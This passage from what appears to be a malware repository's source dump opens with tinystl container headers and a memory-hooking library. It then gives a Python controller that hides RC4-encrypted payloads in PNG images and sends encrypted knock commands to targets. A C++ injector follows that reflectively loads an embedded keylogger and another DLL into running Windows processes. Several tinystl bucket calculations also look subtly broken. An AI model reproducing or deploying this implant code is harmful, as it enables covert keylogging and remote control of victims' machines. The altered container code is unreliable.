8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 18 | * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 22 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING 23 | * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 24 | * POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | #ifndef TINYSTL_HASH_BASE_H 28 | #define TINYSTL_HASH_BASE_H 29 | 30 | #include "stddef.h" 31 | 32 | namespace tinystl { 33 | template 34 | struct pair { 35 | pair(); 36 | pair(const Key& key, const Value& value); 37 | 38 | Key first; 39 | Value second; 40 | }; 41 | 42 | template 43 | pair::pair() { 44 | } 45 | 46 | template 47 | pair::pair(const Key& key, const Value& value) 48 | : first(key) 49 | , second(value) 50 | { 51 | } 52 | 53 | template 54 | static inline pair make_pair(const Key& key, const Value& value) { 55 | return pair(key, value); 56 | } 57 | 58 | template 59 | struct unordered_hash_node { 60 | unordered_hash_node(const Key& key, const Value& value); 61 | 62 | const Key first; 63 | Value second; 64 | unordered_hash_node* next; 65 | unordered_hash_node* prev; 66 | 67 | private: 68 | unordered_hash_node& operator=(const unordered_hash_node&); 69 | }; 70 | 71 | template 72 | unordered_hash_node::unordered_hash_node(const Key& key, const Value& value) 73 | : first(key) 74 | , second(value) 75 | { 76 | } 77 | 78 | template 79 | struct unordered_hash_node { 80 | unordered_hash_node(const Key& key); 81 | 82 | const Key first; 83 | unordered_hash_node* next; 84 | unordered_hash_node* prev; 85 | 86 | private: 87 | unordered_hash_node& operator=(const unordered_hash_node&); 88 | }; 89 | 90 | template 91 | unordered_hash_node::unordered_hash_node(const Key& key) 92 | : first(key) 93 | { 94 | } 95 | 96 | template 97 | static void unordered_hash_node_insert(unordered_hash_node* node, size_t hash, unordered_hash_node** buckets, size_t nbuckets) { 98 | size_t bucket = hash & (nbuckets - 1); 99 | 100 | unordered_hash_node* it = buckets[bucket + 1]; 101 | node->next = it; 102 | if (it) { 103 | node->prev = it->prev; 104 | it->prev = node; 105 | if (node->prev) 106 | node->prev->next = node; 107 | } 108 | else { 109 | size_t newbucket = bucket; 110 | while (newbucket && !buckets[newbucket]) 111 | --newbucket; 112 | 113 | unordered_hash_node* prev = buckets[newbucket]; 114 | while (prev && prev->next) 115 | prev = prev->next; 116 | 117 | node->prev = prev; 118 | if (prev) 119 | prev->next = node; 120 | } 121 | 122 | // propagate node through buckets 123 | for (; it == buckets[bucket]; --bucket) { 124 | buckets[bucket] = node; 125 | if (!bucket) 126 | break; 127 | } 128 | } 129 | 130 | template 131 | static inline void unordered_hash_node_erase(const unordered_hash_node* where, size_t hash, unordered_hash_node** buckets, size_t nbuckets) { 132 | size_t bucket = hash & (nbuckets - 1); 133 | 134 | unordered_hash_node* next = where->next; 135 | for (; buckets[bucket] == where; --bucket) { 136 | buckets[bucket] = next; 137 | if (!bucket) 138 | break; 139 | } 140 | 141 | if (where->prev) 142 | where->prev->next = where->next; 143 | if (next) 144 | next->prev = where->prev; 145 | } 146 | 147 | template 148 | struct unordered_hash_iterator { 149 | Node* operator->() const; 150 | Node& operator*() const; 151 | Node* node; 152 | }; 153 | 154 | template 155 | struct unordered_hash_iterator { 156 | unordered_hash_iterator() {} 157 | unordered_hash_iterator(unordered_hash_iterator other) 158 | : node(other.node) 159 | { 160 | } 161 | 162 | const Node* operator->() const; 163 | const Node& operator*() const; 164 | const Node* node; 165 | }; 166 | 167 | template 168 | struct unordered_hash_iterator > { 169 | const Key* operator->() const; 170 | const Key& operator*() const; 171 | unordered_hash_node* node; 172 | }; 173 | 174 | template 175 | static inline bool operator==(const unordered_hash_iterator& lhs, const unordered_hash_iterator& rhs) { 176 | return lhs.node == rhs.node; 177 | } 178 | 179 | template 180 | static inline bool operator!=(const unordered_hash_iterator& lhs, const unordered_hash_iterator& rhs) { 181 | return lhs.node != rhs.node; 182 | } 183 | 184 | template 185 | static inline void operator++(unordered_hash_iterator& lhs) { 186 | lhs.node = lhs.node->next; 187 | } 188 | 189 | template 190 | inline Node* unordered_hash_iterator::operator->() const { 191 | return node; 192 | } 193 | 194 | template 195 | inline Node& unordered_hash_iterator::operator*() const { 196 | return *node; 197 | } 198 | 199 | template 200 | inline const Node* unordered_hash_iterator::operator->() const { 201 | return node; 202 | } 203 | 204 | template 205 | inline const Node& unordered_hash_iterator::operator*() const { 206 | return *node; 207 | } 208 | 209 | template 210 | inline const Key* unordered_hash_iterator >::operator->() const { 211 | return &node->first; 212 | } 213 | 214 | template 215 | inline const Key& unordered_hash_iterator >::operator*() const { 216 | return node->first; 217 | } 218 | 219 | template 220 | static inline Node unordered_hash_find(const Key& key, Node* buckets, size_t nbuckets) { 221 | const size_t bucket = hash(key) & (nbuckets - 2); 222 | for (Node it = buckets[bucket], end = buckets[bucket + 1]; it != end; it = it->next) 223 | if (it->first == key) 224 | return it; 225 | 226 | return 0; 227 | } 228 | } 229 | #endif 230 | -------------------------------------------------------------------------------- /dep/hooker/hooker.h: -------------------------------------------------------------------------------- 1 | /* 2 | * MIT License 3 | * 4 | * Copyright (c) 2017 Rokas Kupstys 5 | * 6 | * Permission is hereby granted, free of charge, to any person obtaining a copy 7 | * of this software and associated documentation files (the "Software"), to deal 8 | * in the Software without restriction, including without limitation the rights 9 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | * copies of the Software, and to permit persons to whom the Software is 11 | * furnished to do so, subject to the following conditions: 12 | * 13 | * The above copyright notice and this permission notice shall be included in all 14 | * copies or substantial portions of the Software. 15 | * 16 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | */ 24 | 25 | #pragma once 26 | 27 | #define HOOKER_ERROR (0) 28 | #define HOOKER_SUCCESS ((void*)1) 29 | #define HOOKER_MEM_R (1) 30 | #define HOOKER_MEM_W (2) 31 | #define HOOKER_MEM_X (4) 32 | #define HOOKER_MEM_RW (HOOKER_MEM_R|HOOKER_MEM_W) 33 | #define HOOKER_MEM_RX (HOOKER_MEM_R|HOOKER_MEM_X) 34 | #define HOOKER_MEM_RWX (HOOKER_MEM_R|HOOKER_MEM_W|HOOKER_MEM_X) 35 | /// Memory protection flags are platform specific (not a combination of above flags) and should not be converted. 36 | #define HOOKER_MEM_PLATFORM (1 << 31) 37 | 38 | /// Write a call instruction (5 bytes on x86/64). 39 | #define HOOKER_HOOK_CALL (1) 40 | /// Write a jump instruction (5 bytes on x86/64). 41 | #define HOOKER_HOOK_JMP (2) 42 | /// Use fat jump (14 bytes on x64). Has no effect on x86. 43 | #define HOOKER_HOOK_FAT (4) 44 | 45 | #include 46 | #include 47 | 48 | #if __cplusplus 49 | extern "C" { 50 | #endif 51 | 52 | /// Call any address with arbitrary amount of arguments. Returns value of specified type. 53 | /// \param returnType of return value. 54 | /// \param address of a call. 55 | #define hooker_call(returnType, address, ...) (returnType(*)(...))(address)(__VA_ARGS__); 56 | /// Call any address with arbitrary amount of arguments. Does not return anything. 57 | /// \param address of a call. 58 | #define hooker_callv(address, ...) (void(*)(...))(address)(__VA_ARGS__); 59 | 60 | /// Change protection of memory range. 61 | /// \param p memory address. 62 | /// \param size of memory at address p. 63 | /// \param protection a combination of HOOKER_MEM_* flags. 64 | /// \param original_protection on supported platforms will be set to current memory protection mode. May be null. If not null - always initialize to a best-guess current protection flags value, because on some platforms (like linux) this variable will not be set. 65 | void* hooker_mem_protect(void* p, size_t size, size_t protection, size_t* original_protection); 66 | /// Get mnemonic size of current platform. 67 | size_t hooker_get_mnemonic_size(void* address, size_t min_size); 68 | 69 | /// Hotpatch a call. 70 | void* hooker_hotpatch(void* location, void* new_proc); 71 | /// Unhotpatch a call. 72 | void* hooker_unhotpatch(void* location); 73 | 74 | /// Writes a jump or call hook from `address` to `new_proc`. 75 | /// \param address a pointer where hook should be written 76 | /// \param new_proc a pointer where hook should point to. 77 | /// \param flags any of HOOKER_HOOK_* flags. They may not be combined. 78 | /// \param nops of bytes to nop after hook instruction. Specify -1 to autocalculate. 79 | /// \returns null on failure or non-null on success. 80 | void* hooker_hook(void* address, void* new_proc, size_t flags, size_t nops); 81 | 82 | /// Redirect call to custom proc. 83 | /// \param address a start of original call. Warning: It should not contain any relatively-addressed instructions like calls or jumps. 84 | /// \param new_proc a proc that will be called instead of original one. 85 | /// \returns pointer, calling which will invoke original proc. It is user's responsibility to call original code when necessary. 86 | void* hooker_redirect(void* address, void* new_proc, size_t flags); 87 | 88 | /// Unhook a hook created by hooker_hook(.., .., HOOKER_HOOK_REDIRECT, ..). 89 | /// \param address where hook was written to. 90 | /// \param original result of hooker_hook() call. 91 | void hooker_unhook(void* address, void* original); 92 | 93 | /// Return address in object's vmt which is pointing to specified method. 94 | /// \param object is a pointer to a c++ object. 95 | /// \param method is a pointer to a c++ object method. 96 | size_t* hooker_get_vmt_address(void* object, void* method); 97 | 98 | /// Find a first occourence of memory pattern. 99 | /// \param start a pointer to beginning of memory range. 100 | /// \param size a size of memory range. If size is 0 then entire memory space will be searched. If pattern does not exist this will likely result in a crash. Negative size will search backwards. 101 | /// \param pattern a array of bytes to search for. 102 | /// \param pattern_len a length of pattern array. 103 | /// \param wildcard byte in the pattern array. It must be of same size as indicated by `pattern_len`. 104 | void* hooker_find_pattern(void* start, int size, const uint8_t* pattern, size_t pattern_len, uint8_t wildcard); 105 | 106 | /// Find a first occourence of memory pattern. 107 | /// \param start a pointer to beginning of memory range. 108 | /// \param size a size of memory range. If size is 0 then entire memory space will be searched. If pattern does not exist this will likely result in a crash. Negative size will search backwards. 109 | /// \param pattern a array of bytes to search for. 110 | /// \param pattern_len a length of pattern array. 111 | /// \param wildcard array where values may be one of: 0? = 1, ?0 = 2, ?? = 3. 112 | void* hooker_find_pattern_ex(void* start, int size, const uint8_t* pattern, size_t pattern_len, const uint8_t* wildcard); 113 | 114 | /// Fill memory with nops (0x90 opcode). 115 | /// \param start of the memory address. 116 | /// \param size of the memory that will be filled. 117 | /// \returns HOOKER_SUCCESS or HOOKER_ERROR. 118 | void* hooker_nop(void* start, size_t size); 119 | 120 | /// Write bytes to specified memory address. 121 | /// \param start of the memory address. 122 | /// \param data to be written. 123 | /// \param size of data. 124 | void* hooker_write(void* start, void* data, size_t size); 125 | 126 | /// Searches for symbol in specified library. On Windows LoadLibrary() will be called if its not loaded yet, otherwise GetModuleHandle() will be used. 127 | /// On linux dlopen(RTLD_NODELETE) and dlclose() will always be called. 128 | /// \param lib_name string with dynamic library name. 129 | /// \param sym_name string with exported symbol name. 130 | /// \returns pointer to resolved dynamic symbol. 131 | void* hooker_dlsym(const char* lib_name, const char* sym_name); 132 | 133 | #if _WIN32 134 | /// Replaces entry in import address table of specified module. 135 | /// \param mod_name string with name of module whose import table is to be modified. 136 | /// \param imp_mod_name string with name of module which module specified in `mod_name` imports. 137 | /// \param imp_proc_name string with name of symbol imported from module specified in `imp_mod_name`. 138 | /// \param new_proc a pointer that should replace old entry in import address table. 139 | /// \returns original value that was in import address table or null pointer on failure. 140 | void* hooker_hook_iat(const char* mod_name, const char* imp_mod_name, const char* imp_proc_name, void* new_proc); 141 | #endif 142 | 143 | // Define following macro in a single translation unit in order to use library without building it. 144 | #ifdef HOOKER_IMPLEMENTATION 145 | # include "hooker.c" 146 | #endif // HOOKER_IMPLEMENTATION 147 | 148 | #if __cplusplus 149 | }; 150 | #endif 151 | -------------------------------------------------------------------------------- /vr.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # MIT License 4 | # 5 | # Copyright (c) 2019 Rokas Kupstys 6 | # 7 | # Permission is hereby granted, free of charge, to any person obtaining a 8 | # copy of this software and associated documentation files (the "Software"), 9 | # to deal in the Software without restriction, including without limitation 10 | # the rights to use, copy, modify, merge, publish, distribute, sublicense, 11 | # and/or sell copies of the Software, and to permit persons to whom the 12 | # Software is furnished to do so, subject to the following conditions: 13 | # 14 | # The above copyright notice and this permission notice shall be included in 15 | # all copies or substantial portions of the Software. 16 | # 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 20 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 22 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 23 | # DEALINGS IN THE SOFTWARE. 24 | # 25 | from __future__ import print_function 26 | import argparse 27 | import base64 28 | import os 29 | import re 30 | import socket 31 | import struct 32 | import sys 33 | import time 34 | from script.ping import send_ping, PingError 35 | from script.png import from_array, Reader 36 | 37 | magic_v1 = 0xdfc14973 38 | 39 | 40 | def rc4(data, key): 41 | data = bytearray(data) 42 | key = bytearray(key) 43 | x = 0 44 | box = list(range(256)) 45 | for i in range(256): 46 | x = (x + box[i] + key[i % len(key)]) % 256 47 | box[i], box[x] = box[x], box[i] 48 | x = 0 49 | y = 0 50 | for i in range(len(data)): 51 | x = (x + 1) % 256 52 | y = (y + box[x]) % 256 53 | box[x], box[y] = box[y], box[x] 54 | data[i] ^= box[(box[x] + box[y]) % 256] 55 | return bytes(data) 56 | 57 | 58 | def set_binary_mode(stream): 59 | if sys.platform == 'win32': 60 | import os 61 | import msvcrt 62 | msvcrt.setmode(stream.fileno(), os.O_BINARY) 63 | 64 | 65 | def read_stdin(): 66 | if sys.version_info >= (3, 0): 67 | source = sys.stdin.buffer 68 | else: 69 | set_binary_mode(sys.stdin) 70 | source = sys.stdin 71 | return source.read() 72 | 73 | 74 | def bit_stream(data): 75 | # length 76 | for byte in struct.pack('!H', len(data)): 77 | for shift in range(0, 8, 2): 78 | yield (byte >> shift) & 3 79 | # data 80 | for byte in data: 81 | for shift in range(0, 8, 2): 82 | yield (byte >> shift) & 3 83 | 84 | 85 | def pixel_stream(pixels): 86 | for y in range(len(pixels)): 87 | row = pixels[y] 88 | for x in range(len(row)): 89 | yield x, y, row[x] 90 | 91 | 92 | def read_payload(path): 93 | if path == '-': 94 | return read_stdin() 95 | elif os.path.isfile(path): 96 | return open(path, 'rb').read() 97 | elif re.match('^[0-9a-f]+$', path, re.IGNORECASE): 98 | if sys.version_info >= (3, 0): 99 | return bytes.fromhex(path) 100 | else: 101 | return path.decode('hex') 102 | elif re.match('^[a-z0-9+/=]+$', path, re.IGNORECASE): 103 | return base64.b64decode(path) 104 | 105 | 106 | def read_key(key): 107 | if key is not None: 108 | return key 109 | 110 | config_h = open(os.path.dirname(os.path.abspath(__file__)) + '/vr-config.h').read() 111 | key_integer = re.search(r'#define +vr_shared_key +(.+)', config_h).group(1).rstrip('l').rstrip('u') 112 | return struct.pack('= width * height * 3: 183 | print('Image is too small', file=sys.stderr) 184 | return -1 185 | 186 | pixels = list(pixels) 187 | for b, (x, y, c) in zip(bit_stream(payload), pixel_stream(pixels)): 188 | c &= 0b11111100 # zero-out last two bits 189 | c |= b # encode new to bits 190 | pixels[y][x] = c 191 | 192 | from_array(pixels, 'RGB').save(args.inout) 193 | print(args.inout, 'saved') 194 | 195 | elif args.action == 'tcp_knock': 196 | command_id = 1 197 | payload = struct.pack('!IIB', magic_v1, int(time.time()), command_id) 198 | payload = rc4(payload, read_key(key)) 199 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 200 | s.connect((args.target, int(args.port))) 201 | s.send(payload) 202 | s.close() 203 | 204 | return 0 205 | 206 | 207 | if __name__ == '__main__': 208 | try: 209 | sys.exit(main(sys.argv[1:])) 210 | except PingError: 211 | if os.name == 'nt': 212 | print('Ping failed.', file=sys.stderr) 213 | else: 214 | print('Ping failed. Did you run this with "sudo"?', file=sys.stderr) 215 | sys.exit(-1) 216 | except KeyboardInterrupt: 217 | sys.exit(0) 218 | -------------------------------------------------------------------------------- /src/vr/injector.cpp: -------------------------------------------------------------------------------- 1 | // 2 | // MIT License 3 | // 4 | // Copyright (c) 2019 Rokas Kupstys 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a 7 | // copy of this software and associated documentation files (the "Software"), 8 | // to deal in the Software without restriction, including without limitation 9 | // the rights to use, copy, modify, merge, publish, distribute, sublicense, 10 | // and/or sell copies of the Software, and to permit persons to whom the 11 | // Software is furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in 14 | // all copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 19 | // THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 21 | // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 22 | // DEALINGS IN THE SOFTWARE. 23 | // 24 | #include "../shared/LoadLibraryR.h" 25 | #include 26 | #include 27 | #include 28 | #include "../shared/coroutine.h" 29 | #include "../shared/debug.h" 30 | #include "../shared/math.h" 31 | #include "../shared/resources.h" 32 | #include "../shared/context.h" 33 | #include "vr-config.h" 34 | #include "gts.dll.h" 35 | #include "keylogger.dll.h" 36 | 37 | void injector_thread(context& ctx) 38 | { 39 | int scan_time = 1; 40 | int scan_time_jitter = 1; 41 | const json_t* payloads = json_getProperty(ctx.root, xorstr_("injector")); 42 | 43 | if (payloads == nullptr || json_getType(payloads) != JSON_ARRAY) 44 | { 45 | LOG_DEBUG("Injector is not configured."); 46 | return; 47 | } 48 | 49 | stl::vector pid_seen; 50 | stl::vector pid_current; 51 | while (coroutine_loop::current_loop->is_active()) 52 | { 53 | // User always runs one or more instances of explorer.exe. Find all these processes and get their session ids. 54 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 55 | if (hSnapshot == INVALID_HANDLE_VALUE) 56 | { 57 | LOG_ERROR("CreateToolhelp32Snapshot failed %d", GetLastError()); 58 | return; 59 | } 60 | 61 | pid_current.clear(); 62 | PROCESSENTRY32 entry{}; 63 | entry.dwSize = sizeof(entry); 64 | if (Process32First(hSnapshot, &entry)) 65 | { 66 | do 67 | { 68 | bool seen = false; 69 | pid_current.push_back(entry.th32ProcessID); 70 | for (int i = 0; i < pid_seen.size() && !seen; i++) 71 | seen = pid_seen[i] == entry.th32ProcessID; 72 | 73 | if (!seen) 74 | { 75 | for (const json_t* payload = json_getChild(payloads); payload != nullptr; payload = json_getSibling(payload)) 76 | { 77 | if (json_getType(payload) != JSON_OBJ) 78 | { 79 | LOG_WARNING("Incorrect injector json config."); 80 | continue; 81 | } 82 | 83 | // Verify process name 84 | if (const json_t* targets = json_getProperty(payload, xorstr_("targets"))) 85 | { 86 | if (json_getType(targets) != JSON_ARRAY) 87 | { 88 | LOG_WARNING("Incorrect injector json config."); 89 | continue; 90 | } 91 | 92 | for (const json_t* target = json_getChild(targets); target != nullptr; target = json_getSibling(targets)) 93 | { 94 | if (stricmp(json_getValue(target), entry.szExeFile) == 0) 95 | { 96 | // Initialize per-payload values 97 | stl::vector payload_data; 98 | int64_t seed = 0; 99 | const char* payload_type; 100 | if (const json_t* item_type = json_getProperty(payload, xorstr_("type"))) 101 | { 102 | payload_type = json_getValue(item_type); 103 | if (strcmp(json_getValue(item_type), xorstr_("gts")) == 0) 104 | { 105 | seed = combine_hash(vr_mutant_gts, entry.th32ProcessID); 106 | payload_data.resize(RSRC_GTS_SIZE); 107 | if (!resource_open(payload_data, RSRC_GTS_DATA, RSRC_GTS_DATA_SIZE, RSRC_GTS_KEY, RSRC_GTS_KEY_SIZE)) 108 | payload_data.clear(); 109 | } 110 | else if (strcmp(json_getValue(item_type), xorstr_("keylogger")) == 0) 111 | { 112 | DWORD session_id = 0; 113 | if (ProcessIdToSessionId(entry.th32ProcessID, &session_id)) 114 | { 115 | seed = combine_hash(vr_mutant_keylogger, entry.th32ProcessID); 116 | payload_data.resize(RSRC_KEYLOGGER_SIZE); 117 | if (!resource_open(payload_data, RSRC_KEYLOGGER_DATA, RSRC_KEYLOGGER_DATA_SIZE, RSRC_KEYLOGGER_KEY, RSRC_KEYLOGGER_KEY_SIZE)) 118 | payload_data.clear(); 119 | } 120 | } 121 | } 122 | 123 | if (!payload_data.empty()) 124 | { 125 | if (!mutex_is_locked(seed)) 126 | { 127 | HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 128 | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, entry.th32ProcessID); 129 | if (hProcess != nullptr) 130 | { 131 | if (LoadRemoteLibraryR(hProcess, payload_data.data(), payload_data.size(), nullptr)) 132 | LOG_DEBUG("%s injected to process %d", payload_type, entry.th32ProcessID); 133 | else 134 | LOG_DEBUG("%s injection to process %d failed", payload_type, entry.th32ProcessID); 135 | CloseHandle(hProcess); 136 | } 137 | } 138 | else 139 | LOG_DEBUG("%s skips process %d because it is already injected.", payload_type, entry.th32ProcessID); 140 | } 141 | } 142 | } 143 | } 144 | } 145 | } 146 | 147 | memset(&entry, 0, sizeof(entry)); 148 | entry.dwSize = sizeof(entry); 149 | } while (Process32Next(hSnapshot, &entry)); 150 | } 151 | CloseHandle(hSnapshot); 152 | pid_seen = pid_current; 153 | yield(60_sec); 154 | } 155 | } 156 | -------------------------------------------------------------------------------- /dep/tinystl/include/stl/unordered_set.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright 2012-2015 Matthew Endsley 3 | * All rights reserved 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted providing that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 16 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 17 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY 18 | * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 19 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS 20 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 21 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 22 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING 23 | * IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 24 | * POSSIBILITY OF SUCH DAMAGE. 25 | */ 26 | 27 | #ifndef TINYSTL_UNORDERED_SET_H 28 | #define TINYSTL_UNORDERED_SET_H 29 | 30 | #include "allocator.h" 31 | #include "buffer.h" 32 | #include "hash.h" 33 | #include "hash_base.h" 34 | 35 | namespace tinystl { 36 | template 37 | class unordered_set { 38 | public: 39 | unordered_set(); 40 | unordered_set(const unordered_set& other); 41 | ~unordered_set(); 42 | 43 | unordered_set& operator=(const unordered_set& other); 44 | 45 | typedef unordered_hash_iterator > const_iterator; 46 | typedef const_iterator iterator; 47 | 48 | iterator begin() const; 49 | iterator end() const; 50 | 51 | void clear(); 52 | bool empty() const; 53 | size_t size() const; 54 | 55 | iterator find(const Key& key) const; 56 | pair insert(const Key& key); 57 | void erase(iterator where); 58 | size_t erase(const Key& key); 59 | 60 | void swap(unordered_set& other); 61 | 62 | private: 63 | 64 | typedef unordered_hash_node* pointer; 65 | 66 | size_t m_size; 67 | tinystl::buffer m_buckets; 68 | }; 69 | 70 | template 71 | unordered_set::unordered_set() 72 | : m_size(0) 73 | { 74 | buffer_init(&m_buckets); 75 | buffer_resize(&m_buckets, 9, 0); 76 | } 77 | 78 | template 79 | unordered_set::unordered_set(const unordered_set& other) 80 | : m_size(other.m_size) 81 | { 82 | const size_t nbuckets = (size_t)(other.m_buckets.last - other.m_buckets.first); 83 | buffer_init(&m_buckets); 84 | buffer_resize(&m_buckets, nbuckets, 0); 85 | 86 | for (pointer it = *other.m_buckets.first; it; it = it->next) { 87 | unordered_hash_node* newnode = new(placeholder(), Alloc::static_allocate(sizeof(unordered_hash_node))) unordered_hash_node(*it); 88 | newnode->next = newnode->prev = 0; 89 | unordered_hash_node_insert(newnode, hash(it->first), m_buckets.first, nbuckets - 1); 90 | } 91 | } 92 | 93 | template 94 | unordered_set::~unordered_set() { 95 | clear(); 96 | buffer_destroy(&m_buckets); 97 | } 98 | 99 | template 100 | unordered_set& unordered_set::operator=(const unordered_set& other) { 101 | unordered_set(other).swap(*this); 102 | return *this; 103 | } 104 | 105 | template 106 | inline typename unordered_set::iterator unordered_set::begin() const { 107 | iterator cit; 108 | cit.node = *m_buckets.first; 109 | return cit; 110 | } 111 | 112 | template 113 | inline typename unordered_set::iterator unordered_set::end() const { 114 | iterator cit; 115 | cit.node = 0; 116 | return cit; 117 | } 118 | 119 | template 120 | inline bool unordered_set::empty() const { 121 | return m_size == 0; 122 | } 123 | 124 | template 125 | inline size_t unordered_set::size() const { 126 | return m_size; 127 | } 128 | 129 | template 130 | inline void unordered_set::clear() { 131 | pointer it = *m_buckets.first; 132 | while (it) { 133 | const pointer next = it->next; 134 | it->~unordered_hash_node(); 135 | Alloc::static_deallocate(it, sizeof(unordered_hash_node)); 136 | 137 | it = next; 138 | } 139 | 140 | m_buckets.last = m_buckets.first; 141 | buffer_resize(&m_buckets, 9, 0); 142 | m_size = 0; 143 | } 144 | 145 | template 146 | inline typename unordered_set::iterator unordered_set::find(const Key& key) const { 147 | iterator result; 148 | result.node = unordered_hash_find(key, m_buckets.first, (size_t)(m_buckets.last - m_buckets.first)); 149 | return result; 150 | } 151 | 152 | template 153 | inline pair::iterator, bool> unordered_set::insert(const Key& key) { 154 | pair result; 155 | result.second = false; 156 | 157 | result.first = find(key); 158 | if (result.first.node != 0) 159 | return result; 160 | 161 | unordered_hash_node* newnode = new(placeholder(), Alloc::static_allocate(sizeof(unordered_hash_node))) unordered_hash_node(key); 162 | newnode->next = newnode->prev = 0; 163 | 164 | const size_t nbuckets = (size_t)(m_buckets.last - m_buckets.first); 165 | unordered_hash_node_insert(newnode, hash(key), m_buckets.first, nbuckets - 1); 166 | 167 | ++m_size; 168 | if (m_size + 1 > 4 * nbuckets) { 169 | pointer root = *m_buckets.first; 170 | 171 | const size_t newnbuckets = ((size_t)(m_buckets.last - m_buckets.first) - 1) * 8; 172 | m_buckets.last = m_buckets.first; 173 | buffer_resize(&m_buckets, newnbuckets + 1, 0); 174 | unordered_hash_node** buckets = m_buckets.first; 175 | 176 | while (root) { 177 | const pointer next = root->next; 178 | root->next = root->prev = 0; 179 | unordered_hash_node_insert(root, hash(root->first), buckets, newnbuckets); 180 | root = next; 181 | } 182 | } 183 | 184 | result.first.node = newnode; 185 | result.second = true; 186 | return result; 187 | } 188 | 189 | template 190 | inline void unordered_set::erase(iterator where) { 191 | unordered_hash_node_erase(where.node, hash(where.node->first), m_buckets.first, (size_t)(m_buckets.last - m_buckets.first) - 1); 192 | 193 | where.node->~unordered_hash_node(); 194 | Alloc::static_deallocate((void*)where.node, sizeof(unordered_hash_node)); 195 | --m_size; 196 | } 197 | 198 | template 199 | inline size_t unordered_set::erase(const Key& key) { 200 | const iterator it = find(key); 201 | if (it.node == 0) 202 | return 0; 203 | 204 | erase(it); 205 | return 1; 206 